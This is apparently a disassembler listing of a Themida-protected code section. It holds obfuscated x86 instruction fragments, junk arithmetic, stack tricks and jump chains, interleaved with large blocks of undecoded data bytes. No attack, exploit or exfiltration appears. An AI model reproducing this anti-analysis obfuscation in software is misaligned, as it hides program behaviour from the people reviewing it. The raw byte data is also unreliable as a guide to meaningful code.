; CODE XREF: Themida_:0054AC44j add ebx, 7EDD237Ah sub eax, ebx pop ebx jmp loc_5461CA ; --------------------------------------------------------------------------- dw 1268h dd 8900000Ah, 0CABE2434h, 536ED7D1h, 226EC8BBh, 0CAEB8167h dd 8133F33Bh, 841EA4F3h, 0BD555165h, 62357F30h, 835DE989h dd 0E1C1FFE9h, 3E1C108h, 4CEAE9h, 256B6800h, 4890000h dd 2BBD5524h, 0F7341F57h, 81DDF7DDh, 65038BF5h, 5DE8891Eh dd 25D9E955h, 0BB530000h, 6E2861E3h, 0FF11C381h, 0DD09FA15h dd 4BE94D5Bh, 8100008Bh, 4C3h, 241C8700h, 3F9DE95Ch, 1C890000h dd 1E0CBB24h, 0F381653Fh, 157E51D9h, 6E3C143h, 0F584F381h dd 0D8891053h, 8C54E95Bh, 29590000h, 4670E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547EC6: ; CODE XREF: Themida_:0054AA8Bj add ebx, 4 add ebx, 4 jmp loc_54A5FD ; --------------------------------------------------------------------------- dd 0D04C7605h, 61FE0D15h, 0EC832ED3h, 242C8904h, 4EC81h dd 4890000h, 2C70B824h, 9CE95071h, 89FFFFDFh, 68502414h dd 309C25C3h, 582434FFh, 0C104C483h, 0B95105E0h, 4A4737D4h dd 0CB437505h, 2DC80117h, 17CB4375h, 0FFF1BAE9h, 241487FFh dd 0E924248Bh, 8885h, 14584E68h, 0F4E95E78h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_547F37: ; CODE XREF: Themida_:0054F238j push esi mov esi, 5FCE15EDh push ebx jmp loc_5493DC ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 0E9000000h, 74EBh, 8E2C166h, 8EAC166h, 0B8665066h dd 21660927h, 6665E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547F66: ; CODE XREF: Themida_:0054A6FDj shr ah, 1 push dx mov dh, 3Ch and ah, dh jmp loc_551610 ; --------------------------------------------------------------------------- db 0BDh dd 4, 2C8BEF01h, 4C48124h, 55000000h, 4BDh, 81C78100h dd 2911FE6Ch, 81EF81EFh, 0FF11FE6Ch, 815D2434h, 4C4h, 74FF5700h dd 8F5F0424h, 248B2404h, 24148924h, 0DDE99C50h, 89FFFFDDh dd 83502434h, 0DBE904ECh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547FC3: ; CODE XREF: Themida_:005512D9j push eax mov eax, 4797671Dh jmp loc_550051 ; --------------------------------------------------------------------------- dw 0E95Ah dd 5E0Fh, 8324148Bh, 0C28104C4h, 4, 0E904C283h, 2172h dd 0DF3BE958h, 0EE80FFFFh, 0E9F02861h, 3034h, 0C104E2C1h dd 0F28102EAh, 42F51D44h, 0EF38B850h, 0C2315F3Ch, 8BD00158h dd 89522414h, 0E6D5E9E2h, 4141FFFFh, 0FFF6E8E9h, 243489FFh dd 5A5979BEh, 95F6814Eh, 5618220Ch, 5E2414F7h, 7F0EEE81h dd 23E93755h, 64000062h, 4DE932FFh, 51FFFFDDh, 0D42BAFB9h dd 0B9E98128h, 0E9056F74h, 0FFFFFE01h, 4240483h, 0EA11E95Dh dd 0E958FFFFh, 4798h, 6E8C140h, 0C43C4B2Dh, 33CF2D7Fh dd 0B1353B6Ch, 565CEAE5h, 0E956C689h, 990Ah ; --------------------------------------------------------------------------- loc_548084: ; CODE XREF: Themida_:005493AAj mov cl, 0C2h neg cl inc cl or cl, 4Ah xor cl, 4Ch sub al, cl pop ecx jmp loc_549263 ; --------------------------------------------------------------------------- dd 4244401h, 2793E9h, 8BFB3100h, 0C481243Ch, 4, 8103E3C1h dd 264190F3h, 2C815328h, 8803D024h, 24478F31h, 0D0244781h dd 5B318803h, 2B68D231h, 8900002Ch, 48B241Ch, 0E1895124h dd 4C181h, 54520000h, 8324148Bh, 0C28104C4h, 4, 0FFE94FE9h dd 8BE828FFh, 8952240Ch, 4C281E2h, 0E9000000h, 0FFFFDEC1h dd 8003ECC0h, 0E4C050C4h, 9AEE908h, 4B80000h, 1000000h dd 0E98358C1h, 240C8704h, 242C895Ch, 0A8E95D54h, 53000033h dd 0C381E389h, 4, 1D29E9h db 0 ; --------------------------------------------------------------------------- loc_548139: ; CODE XREF: Themida_:005490F8j push ebp sub esp, 4 mov [esp], ebx jmp loc_54C925 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0F1h dd 0E91A4C10h, 650Eh, 2809CF81h, 0EF811FA3h, 0F806E5C2h dd 5B5FF929h, 2BB53h, 0D9010000h, 0E92434FFh, 1003h, 0F988595Ah dd 0E9241C8Bh, 6307h, 2404875Dh, 0E924248Bh, 0FFFFF3A2h dd 0C103E9C1h, 0E98103E9h, 0FF81DF60h, 0E959CD89h, 94D8h dd 0E9E78957h, 32CDh, 8003EAC0h, 4604DAC2h, 5407E9h, 2434FF00h dd 582434FFh, 5604C483h, 6B68E689h, 89000071h, 27E9241Ch dd 5B000078h, 8DC5E9h, 2474FF00h, 40E95B04h, 81000008h dd 9F6A86E7h, 0EBE78116h, 0E92AD912h, 9A92h, 0E9535B66h dd 0FFFFE04Eh, 4A0BEA81h, 0CA01693Bh, 4A0BC281h, 0F1E9693Bh dd 2900002Dh, 0FEE95AD0h, 58000081h, 4C781h, 0E9570000h dd 0C6Ah, 88D78853h, 0EE685BFCh, 89000003h, 8852241Ch dd 8BD388E2h, 0C4812414h, 4, 0E9DE8852h, 4005h, 2C04C483h dd 4D028C0h, 453BE9C0h, 0C5FE0000h, 28C5C580h, 314DE9E8h dd 0FB010000h, 81243C8Bh, 4C4h, 241C8700h, 4EC835Ch, 0E9241C89h dd 639h, 4F440559h, 0BD2D0F8Ch, 29760E5Ch, 5CBD05E8h, 30E9760Eh dd 8BFFFFE7h, 1E92424h, 53FFFFDBh, 0BBh, 88CB0100h, 5B595B03h dd 81240C8Bh, 4C4h, 0DAE6E900h, 1168FFFFh, 0E9000002h dd 37C7h, 2246C381h, 875E1737h, 248B241Ch, 2434FF24h, 0E92434FFh dd 26F7h, 0E9E38953h, 837Fh, 0E98075B1h, 0BAF180FFh, 44C680h dd 5FE951CEh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5482EB: ; CODE XREF: Themida_:0054D7DAj and eax, ebp push dword ptr [esp] jmp loc_551A2C ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FFDF69E9h db 0FFh ; --------------------------------------------------------------------------- loc_5482FD: ; CODE XREF: Themida_:00549015j push ecx mov ecx, 2359137Dh add esi, ecx pop ecx jmp loc_54CA17 ; --------------------------------------------------------------------------- loc_54830B: ; CODE XREF: Themida_:005514D3j xor eax, 4E831F95h or eax, eax jnz loc_549E2A push eax push edi jmp loc_551A7B ; --------------------------------------------------------------------------- db 31h dd 72E92434h, 5C00001Ch, 0FFDA67E9h, 6C33B9FFh, 814974F6h dd 0F66C36F1h, 0E9CF0174h, 8EA8h, 240C8B66h, 7D94E950h dd 52580000h, 24BAh, 0E9FA0100h, 92E4h, 24048B54h, 5104C483h dd 821E9h, 0C8B6600h, 4EC8324h, 54240C89h, 4EC8359h, 0E9243489h dd 9B44h ; --------------------------------------------------------------------------- loc_54837C: ; CODE XREF: Themida_:0054B381j xor eax, esi jmp loc_550166 ; --------------------------------------------------------------------------- aLHc db '$$h*',0 dw 8900h aSjl db '<$ιJ',0 dw 3000h dd 0AEE9243Ch db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_54839B: ; CODE XREF: Themida_:0054EB49j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edi push esi mov esi, 66BB69DFh mov edi, 99449625h push ebp mov ebp, 5D247BB6h sub edi, ebp pop ebp add edi, 4EE07B1Bh add edi, esi sub edi, 4EE07B1Bh add edi, 5D247BB6h pop esi jmp loc_54C0B1 ; --------------------------------------------------------------------------- dw 3C89h dd 815F5424h, 4C7h, 2E92E900h, 295D0000h, 76B968C3h, 34890000h dd 61AB6824h, 1C890000h, 223C6824h, 1C8B1066h, 4C48324h dd 60D6CB81h, 86E97F43h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548417: ; CODE XREF: Themida_:0054FC5Cj mov al, 0A6h add al, 0FFh xor al, 0E5h mov bh, al pop eax push edx jmp loc_54D874 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 5C243C87h, 2F01E981h, 0CB890B3Dh, 0E9BD5559h, 17E7F60h dd 0FB015DEBh, 2665BA52h, 62E93A6Ah, 2900004Dh, 0BD555EF1h dd 61C53656h, 815DE929h, 2966EBC1h, 5B89E94Bh, 0CB010000h dd 4C2BE9h, 81E68900h, 4C6h, 4C68300h, 5C243487h, 57240401h dd 4EB7B850h, 0DDE93314h, 0E9FFFFFBh, 0FFFFD904h, 669FC380h dd 0E973B050h, 44ABh, 34FFFB29h, 0C4815F24h, 4, 1C8BD821h dd 4EC8324h, 89243489h, 3B850E6h, 0D5F5C75h, 5B6A29CAh dd 7DC62D48h, 0C6015F7Eh, 16F5E958h, 34310000h, 24343324h dd 6624248Bh, 66240C89h, 66C8B60Fh, 0ADE99C51h, 0FFFFFFD8h dd 815D2434h, 4C4h, 909BE900h, 0C890000h, 5268B924h, 0DCBB4769h dd 8181718Dh, 4245AAEBh, 81CB2906h, 4245AAC3h, 0B8BE5906h dd 0E93E2B40h, 0FFFFEE57h, 31DA6850h, 40585867h, 5A5DB951h dd 8AE95E5Dh, 1000001h, 24048BC2h, 4C481h, 91E90000h, 81FFFFEFh dd 3D42404h, 835B7FA6h, 3C8904ECh, 0BCFEBF24h, 45E9F623h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_548557: ; CODE XREF: Themida_:00548ADAj mov ebp, [esp] add esp, 4 jmp loc_548D01 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0F7h dd 81FFFFE6h, 7C6B64C7h, 25BCE933h, 0ED810000h, 69E15EBDh dd 1CB2BA52h, 0BE9053Fh, 55FFFFDEh, 152B6EBDh, 95ED813Eh dd 0E93CE7FCh, 1935h, 9113E958h, 0D9F70000h, 3E1C149h dd 0D3BF181h, 0CF898CF2h, 5FF82959h, 0C6AE940h, 8B660000h dd 0E9522414h, 0FFFFE16Fh, 6F86CD81h, 0ED814372h, 7B7F6FD2h dd 2EEAC781h, 0EF01054Fh, 2EEAEF81h, 2C8B054Fh, 4C48124h dd 51000000h, 4B9h, 0EAC78100h, 0E9377C08h, 7C62h, 6D3E685Ah dd 0F0E90000h, 1000069h, 0D3315EF2h, 5BDE895Ah, 515EF301h dd 0C1815954h, 4, 3E1FE952h, 90B00000h, 0B804D0F6h, 2408E8C0h dd 9B5519Eh, 3517E9h db 0 ; --------------------------------------------------------------------------- loc_54862D: ; CODE XREF: Themida_:00545DA5j mov ebx, [esp] add esp, 4 add edi, esi mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_54F03B ; --------------------------------------------------------------------------- dd 7D0368h, 240C8900h, 833CE954h, 34FF0000h, 2434FF24h dd 1D1E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548662: ; CODE XREF: Themida_:0054E1F2j pop eax jmp loc_54D455 ; --------------------------------------------------------------------------- dd 0E9243433h, 0FFFFFCAFh, 0C8BCD09h, 88AAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54867A: ; CODE XREF: Themida_:005513EDj add esp, 4 xor al, bh pop ebx add bl, 0C0h push eax jmp loc_5494C4 ; --------------------------------------------------------------------------- aFske db 'FιͺE',0 align 2 dw 0E2C1h dd 8265E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54869A: ; CODE XREF: Themida_:00545F75j mov [esp], esi not dword ptr [esp] pop esi push edx mov edx, 74B77C47h not edx push edx jmp loc_548A41 ; --------------------------------------------------------------------------- db 0B8h dd 1C8F5A99h, 4F8CE9h, 59C80900h, 7F499F0Dh, 25053543h dd 0C7893DE7h, 10C68158h, 0E911DC03h, 0A66h, 0E94FEC80h dd 0FFFFE035h, 405h, 42D00h, 4870000h, 0ECA7E924h, 2D66FFFFh dd 0C8B2DDAh, 0AD5E924h, 8B660000h, 2FE92404h, 2800007Ah dd 53DF04D8h, 805BB450h, 0CC86AAECh, 32E9D9F6h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_548717: ; CODE XREF: Themida_:0054BFE4j pop edi add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 1B4Ah mov [esp], ebp push 28245437h jmp loc_54925D ; --------------------------------------------------------------------------- db 0ACh dd 0EC83E704h, 24148904h, 0C6FEEAB6h, 0FFD6AFE9h, 243C32FFh dd 0C48E9h, 0EC835C00h, 240C8904h, 740FBB53h, 68B96FCFh dd 3152D92Ah, 241C8BD9h, 4C481h, 0BD550000h, 120F448Dh dd 0C15DE901h, 0F18107E9h, 9E4B45h, 2D4BC181h, 2E92365h dd 0BF000080h, 5367324Ah, 3753CF81h, 0F9E95F31h, 8100000Eh dd 4EBh, 241C8700h, 2414895Ch, 0EC8321B6h, 83B0E902h, 0C6810000h dd 4, 4B850h, 0C6010000h, 24348758h, 1E2A685Ch, 0C890000h dd 1361E924h, 0EE800000h, 5AF028DBh, 770E9h, 4BF00h, 73E90000h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5487E7: ; CODE XREF: Themida_:00548ABBj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] div cx push small 5B1Fh mov [esp], dx push ax pushf jmp loc_545D94 ; --------------------------------------------------------------------------- dw 0F929h dd 0F3BE565Fh, 46719F61h, 7F0FE681h, 1DE9145Ah, 1000003h dd 8BE95DE8h, 50FFFFF6h, 6D68E089h, 89000079h, 4BE2434h dd 1000000h, 75E95EF0h, 5800001Bh, 0E904C483h, 0FFFFEA4Bh dd 8F24248Bh, 0D25C2404h, 0E99C243Ch, 0FFFFD530h, 4604E6C1h dd 0F559E957h, 489FFFFh, 139AB824h, 0C58958FFh, 7704E9h db 0 ; --------------------------------------------------------------------------- loc_54887D: ; CODE XREF: Themida_:00550CAEj xchg edi, [esp] pop esp sub bl, al pop eax sub bl, 0F0h jmp loc_550F3D ; --------------------------------------------------------------------------- dd 4E9835Eh, 0E9240C87h, 1690h, 0B6148AB9h, 59CD015Ah dd 0ED81FD01h, 5AB6148Ah, 0FFD845E9h, 81E389FFh, 4C3h dd 4C38100h, 87000000h, 0FF5C241Ch, 0E99C240Ch, 43E3h dd 47D8E94Ah, 0D3660000h, 0E99C2424h, 0FFFFD4BCh, 8F243489h dd 2DE92047h, 0C1000045h, 0A3E908EEh, 89000088h, 23B5E9E2h dd 0E2890000h, 4C281h, 0C2810000h, 4, 31241433h, 0AEE92414h dd 0FFFFFFDEh, 0CE92434h, 3, 94E95BDDh db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54891B: ; CODE XREF: Themida_:00546AD3j add ecx, 4 jmp loc_549612 ; --------------------------------------------------------------------------- db 21h dd 240C8BC8h, 0E9E08950h, 641Fh, 0C588B3B0h, 0EA885866h dd 0D9B35359h, 80A2E380h, 0F3806AC3h, 25EB8056h, 1BE9DA08h dd 100008Fh, 0AE95FFAh db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548957: ; CODE XREF: Themida_:00550689j pop edx jmp loc_54BCEC ; --------------------------------------------------------------------------- db 1, 0DFh, 56h dd 83E7E9h db 0 ; --------------------------------------------------------------------------- loc_548965: ; CODE XREF: Themida_:0054FD71j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54AECC ; --------------------------------------------------------------------------- dw 0E8D1h dd 452A2D05h, 0E9C22983h, 0FFFFD574h ; --------------------------------------------------------------------------- loc_548988: ; CODE XREF: Themida_:00548AADj mov esi, 0CBC09E7h sub esi, 297618AAh inc esi not esi inc esi push edi jmp loc_54DDB3 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C241CD3h, 0FFD3E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5489AD: ; CODE XREF: Themida_:00547917j pop ecx add ebp, eax pop eax sub esp, 4 mov [esp], esi mov esi, 2 add ebp, esi jmp loc_550489 ; --------------------------------------------------------------------------- loc_5489C6: ; CODE XREF: Themida_:005472B4j pop esi sub esp, 4 mov [esp], ecx mov ecx, 451F29E4h inc ecx jmp loc_54634D ; --------------------------------------------------------------------------- dd 2F19BEBAh, 2454316Bh, 35585A04h, 6B2F19BEh, 0E9240C8Bh dd 5096h, 49D3E95Ch, 0C6810000h, 44D65D28h, 2783EE81h dd 0C6014326h, 0FFEBC0E9h, 58C689FFh, 0FFFBEEE9h, 0AFBB9FFh dd 4E90DC1h, 8F00001Eh, 815C2404h, 4C7h, 4EC8300h, 50240C89h dd 87553468h, 0D0F75808h, 0AACA2D40h, 0C189F778h, 38AE9h db 0 ; --------------------------------------------------------------------------- loc_548A41: ; CODE XREF: Themida_:005486AAj inc dword ptr [esp] jmp loc_5496AE ; --------------------------------------------------------------------------- db 81h, 0C7h, 0E1h dd 5E12D11Bh, 9FBE5652h, 81537562h, 1456A2EEh, 86E0E923h dd 3C870000h, 4E60E924h, 0C1660000h, 816608E3h, 6654F7EBh dd 1C8BD931h, 4C48324h, 2DDA0566h, 38AFE9h, 4C68300h, 0E9243487h dd 4C70h ; --------------------------------------------------------------------------- loc_548A90: ; CODE XREF: Themida_:0054A27Bj dec ebp push ecx mov ecx, 282454B7h xor ebp, ecx jmp loc_54C757 ; --------------------------------------------------------------------------- loc_548A9E: ; CODE XREF: Themida_:00551F68j push eax push ebx push edi mov edi, 47BB7B18h add edi, 0DF648C6h push esi jmp loc_548988 ; --------------------------------------------------------------------------- loc_548AB2: ; CODE XREF: Themida_:0054FFA9j add edi, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp jmp loc_5487E7 ; --------------------------------------------------------------------------- dd 88F3EC80h, 0BFE958E2h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548ACB: ; CODE XREF: Themida_:0054EBBCj dec ebx push ebp mov ebp, 7FD60C86h add ebp, 0DEFF3223h sub ebx, ebp jmp loc_548557 ; --------------------------------------------------------------------------- db 66h dd 5024048Bh, 60FBE9h, 1C77FF00h, 6658669Dh, 9C240411h dd 0FFD29BE9h, 64E95EFFh, 81000044h, 7B4648E1h, 6F70E975h dd 0DA010000h, 5621C281h, 0CBE93F99h, 8300008Ah, 8B042404h dd 0E7E9243Ch, 3300006Eh, 14312414h, 2C315224h, 242C3324h dd 0F7242C31h, 2A88E9D5h, 77FF0000h, 19589D1Ch, 0E99C2404h dd 0FFFFD24Ch, 81DEF74Eh, 866FFBC6h, 0E9F10948h, 379Eh ; --------------------------------------------------------------------------- loc_548B58: ; CODE XREF: Themida_:0054C1F8j push esp jmp loc_551D0E ; --------------------------------------------------------------------------- dw 6C81h dd 7CC90424h, 4C017AB0h, 44810424h, 7CC90424h, 34FF7AB0h dd 0AFE95924h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548B7B: ; CODE XREF: Themida_:0054FAF8j dec eax xor eax, 42E868F8h jmp loc_5472EA ; --------------------------------------------------------------------------- dw 30B9h dd 8143130Dh, 142806F1h, 2BE98122h, 0E90FE209h, 8D4Ah dd 0D0F7D8F7h, 0BCBFD105h, 0B0EF81D7h, 817BB868h, 2337B2C7h dd 81C70133h, 2337B2EFh, 0EA88E933h, 5156FFFFh, 56237BB9h dd 0BF5743h, 0E9000000h, 0FFFFE3B1h, 3E8C140h, 812EA135h dd 87B2530h, 0ABE96EF7h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_548BE3: ; CODE XREF: Themida_:0054E3FEj not ebx xchg eax, ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esp sub esp, 4 jmp loc_546EDD ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0D206E924h, 489FFFFh, 41B46824h, 82E92DFBh, 0FF000093h dd 0E9582434h, 0FFFFDEE9h ; --------------------------------------------------------------------------- loc_548C28: ; CODE XREF: Themida_:0054C6A9j add edi, 22205E49h push eax mov eax, 6D68128Ch add edi, 6DAE1A5Eh add edi, eax sub edi, 6DAE1A5Eh mov eax, [esp] add esp, 4 sub edi, 7593B3D2h jmp loc_54716F ; --------------------------------------------------------------------------- aAEiSG db 'ΓEέιΠ',0 align 10h loc_548C60: ; CODE XREF: Themida_:005513DFj push 341D3FBCh pop ebx push edi jmp loc_54D13B ; --------------------------------------------------------------------------- dd 6036BF57h, 0A5E96396h, 54FFFFECh, 4EC835Eh, 68240C89h dd 4, 8C6EE9h, 0C4CE8100h, 8163F248h, 22C930F6h, 62E2E982h dd 0D3010000h, 5A2434FFh, 104C483h, 0EF835BDFh, 243C8704h dd 8924248Bh, 8950241Ch, 405E0h, 1AE90000h, 0B900001Bh dd 3CA25FFFh, 2806F181h, 75E910C6h, 0D00007Ah, 12E07A55h dd 0E902E0C1h, 0FFFFDFBAh, 52241C8Bh, 0C281E289h, 4, 4B951h dd 0CA010000h, 145CE9h db 0 ; --------------------------------------------------------------------------- loc_548CF5: ; CODE XREF: Themida_:00551D6Bj push dword ptr [esp] pop eax add esp, 4 jmp loc_54686D ; --------------------------------------------------------------------------- loc_548D01: ; CODE XREF: Themida_:00548560j and eax, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_551E69 ; --------------------------------------------------------------------------- dd 2AB8EF81h, 49E938E6h, 81FFFFE5h, 4ECh, 240C8900h, 0CC1B6DB9h dd 18292D7Bh, 0C8010100h, 182905h, 0BF575901h, 1148489Bh dd 2701EF81h, 0BE566E1Fh, 400E4313h, 0FFFFC681h, 0F681FFFFh dd 1453330h, 7FD1BA52h, 0F2811369h, 0F7730FEh, 2358CA81h dd 0F7E9170Ah, 2D000053h, 881AE222h, 8758C501h, 74E9242Ch db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D87: ; CODE XREF: Themida_:0054B50Aj add esp, 4 jmp loc_54C7AA ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 5FB85004h, 0F72E0B5Ch, 3393E9D8h, 0C8B0000h dd 4C48124h, 0E9000000h, 0FFFFE181h, 8704E883h, 248B2404h dd 24048924h, 0BB535854h, 4, 29E9D801h, 58000015h, 709EF81h dd 0CF011188h, 709C781h, 87591188h, 248B243Ch, 24D36624h dd 0A9E99C24h, 81FFFFCFh, 0B978D7F5h, 0E4C58141h, 0C1027248h dd 0BF5708E5h, 442513C8h, 8105EFC1h, 6F610BCFh, 0C781476Dh dd 42240E53h, 5C2DF781h, 0FD31E1A1h, 0DBFBE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E1E: ; CODE XREF: Themida_:00547731j pop ebx push 28A8h mov [esp], ebx push 7C64h mov [esp], ecx mov ecx, 7252311Bh push eax mov eax, ecx jmp loc_54AA70 ; --------------------------------------------------------------------------- dd 0BB241C89h, 6677D23h, 6E6ABD55h, 0E5C1237Eh, 8E5EE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E52: ; CODE XREF: Themida_:0054E42Aj push dword ptr [edi+eax*4] push edi jmp loc_54A177 ; --------------------------------------------------------------------------- db 52h dd 58107BBAh, 3EC2814Dh, 816E2551h, 3F569C2h, 5AD62949h dd 6A3E68h, 0FA5EE900h, 0F2DFFFFh, 2943C435h, 2146E9E8h dd 74FF0000h, 8F5F0424h, 248B2404h, 5BE95224h, 0E9FFFFFAh dd 0FFFFCEF8h ; --------------------------------------------------------------------------- loc_548E9C: ; CODE XREF: Themida_:00549F6Ej pop ebx jmp loc_5512F8 ; --------------------------------------------------------------------------- aSQ db '^ιΞQ',0 align 4 dd 4C281h, 0BD550000h, 4, 2C8BEA29h, 4C48124h, 87000000h dd 895C2414h, 8B54243Ch, 0C481243Ch, 4, 21A4BB53h, 0F3811ABCh dd 5C645740h, 0F704EBC1h, 5E95E9D3h, 74FF0000h, 8F590424h dd 0E95C2404h, 3DFDh ; --------------------------------------------------------------------------- loc_548EF4: ; CODE XREF: Themida_:0054949Ej mov edx, 79C2333Ah inc edx push eax mov eax, 799C1FEBh push edi mov edi, 3EF1FA1h not edi inc edi and edi, 7A9B16C3h sub edi, 3B3AC3CAh and eax, edi pop edi push ecx mov ecx, 4FFC147Dh xor eax, ecx pop ecx add eax, 78C674Ah and eax, 16411ADFh sub eax, 0B2DCAC6Fh jmp loc_546797 ; --------------------------------------------------------------------------- db 59h, 51h, 52h dd 10BAE9h, 2EC8300h, 241C8966h, 0F8284FB7h, 0FFF29FE9h dd 7604FFh, 4762CF0h, 24148BD3h, 2804C483h, 2C7D2CD8h dd 4EC83E7h, 57242C89h, 6EE9E789h, 5BFFFFD1h, 8B24048Fh dd 0EC812424h, 4, 83242489h, 8F042404h, 0B8502404h, 4 dd 4246C81h, 9A2568Fh, 0FFF0FFE9h, 5AD189FFh, 5C686858h dd 14890000h, 15E0BA24h, 0EDE97957h, 81000075h, 4C7h, 4EF8100h dd 0E9000000h, 0FFFFFAA2h, 8904EC83h, 4832424h, 348B0424h dd 8559E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548FD2: ; CODE XREF: Themida_:005520C7j push edi mov edi, 0 sub edi, esi mov esi, edi pop edi xor esi, 0E235494Eh add ecx, 3CA93C1Bh add ecx, esi sub ecx, 3CA93C1Bh mov esi, [esp] add esp, 4 mov ebx, ecx pop ecx sub [edx+38h], ebx mov ebx, [esp] add esp, 4 push esi sub esp, 4 mov [esp], ebx mov ebx, 4E78725Fh mov esi, ebx pop ebx jmp loc_5482FD ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 5532E9h, 2C8B5400h, 4C48124h, 81000000h dd 4C5h, 5DBB5300h, 0E949F07Bh, 19EAh, 5B8EE95Ah, 3C870000h dd 0CD25C24h, 0EAE99C24h, 89000061h, 9DE92424h, 83000079h dd 3C3302C7h, 1381E924h, 0F1810000h, 55C27978h, 31D0F791h dd 31C831C1h, 70A2E9C1h, 0DDB90000h, 0E93ECC68h, 4581h dd 53E18951h, 0E85935BBh, 58EB8128h, 81746F7Bh, 6F78B4CBh dd 0EAEB814Eh, 56256D59h, 87F0E9h, 53490400h, 0B5E9E389h dd 28000073h, 0E95959CEh, 674Ch ; --------------------------------------------------------------------------- loc_5490B8: ; CODE XREF: Themida_:0054A268j xchg ebp, [esp] pop esp jmp loc_547D5B ; --------------------------------------------------------------------------- db 29h, 0C6h, 58h dd 1F14E9h db 0 ; --------------------------------------------------------------------------- loc_5490C9: ; CODE XREF: Themida_:0054AEEAj mov ebx, [esp] add esp, 4 add eax, 4 xchg eax, [esp] pop esp and eax, esi mov esi, [esp] add esp, 4 or eax, eax jnz loc_5512E6 sub esp, 4 mov [esp], ebp push 1 pop ebp jmp loc_548139 ; --------------------------------------------------------------------------- db 9, 0C5h, 58h dd 20C5814Dh, 0E9CC3CB6h, 0FFFFF71Fh, 0CE81E6D1h, 68B45464h dd 0C681D6F7h, 0E9FC5E77h, 89F78957h, 6CF7E9FDh, 535E0000h dd 0FB86650h, 1624E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_549132: ; CODE XREF: Themida_:0054D9F6j mov [esp], edx jmp loc_5503CD ; --------------------------------------------------------------------------- dw 0FE01h dd 0FFD9B0E9h, 0AF0F66FFh, 9C5166C8h, 0FFCC47E9h, 0FFF821FFh dd 57E92434h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549157: ; CODE XREF: Themida_:0054E61Dj pop esp jmp loc_5517BE ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0FA010000h, 74FF525Fh, 8F5A0424h, 0FFE92404h, 5B000007h dd 5104C483h, 4043E9h, 2434FF00h, 1DA5E958h, 0E8C10000h dd 3E0C107h, 7642F80Dh, 1C054827h, 89ED8787h, 0C0E958C3h dd 66000080h, 81240C8Bh, 4ECh, 24348900h, 0B3E95E54h, 66FFFFE3h dd 68240C8Bh, 2ACFh, 7F5DE9h, 2EF8100h, 167504Dh, 0EBE95FFBh dd 8100005Ch, 4C4h, 4EC8300h, 68243489h, 506Dh, 66243C89h dd 0E2BA6652h, 78C0E93Eh, 0C4810000h, 4, 382F6859h, 83E90000h dd 8900003Fh, 3CBF57E5h, 8108BE65h, 4F724DE7h, 6E04E945h dd 34890000h, 4F35E924h, 0E9460000h, 3D65h, 160F9735h dd 7ADE9C8h, 0ABB0000h, 0E948CA05h, 45FDh, 6859CE29h, 647Eh dd 3140E9h, 243C8900h, 0E38E9h, 14896600h, 50D8B224h, 7DE938B4h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549257: ; CODE XREF: Themida_:0054C209j push eax jmp loc_551BD1 ; --------------------------------------------------------------------------- loc_54925D: ; CODE XREF: Themida_:00548732j pop ebp jmp loc_54D794 ; --------------------------------------------------------------------------- loc_549263: ; CODE XREF: Themida_:00548093j sub al, bh add al, 33h pop ebx sub bl, al pop eax add bl, 38h add bl, al jmp loc_54EA65 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHco db '$hco',0 align 2 aSk db 'ι',7,0 dw 5A00h dd 31240433h, 4332404h, 24248B24h, 52685266h, 8900000Ch dd 0B050241Ch, 2801B345h, 0D36858C3h, 89000018h, 7B1240Ch dd 6623E180h, 0E9B3B753h, 0FFFFE54Fh, 31242C33h, 2C33242Ch dd 577EE924h, 0D7290000h, 29FDBB53h, 0DF017715h, 0F8895A5Bh dd 81243C8Bh, 4C4h, 8C70500h, 0F8012562h, 6208C72Dh, 901E925h dd 0C2810000h, 4, 5C241487h, 6A0968h, 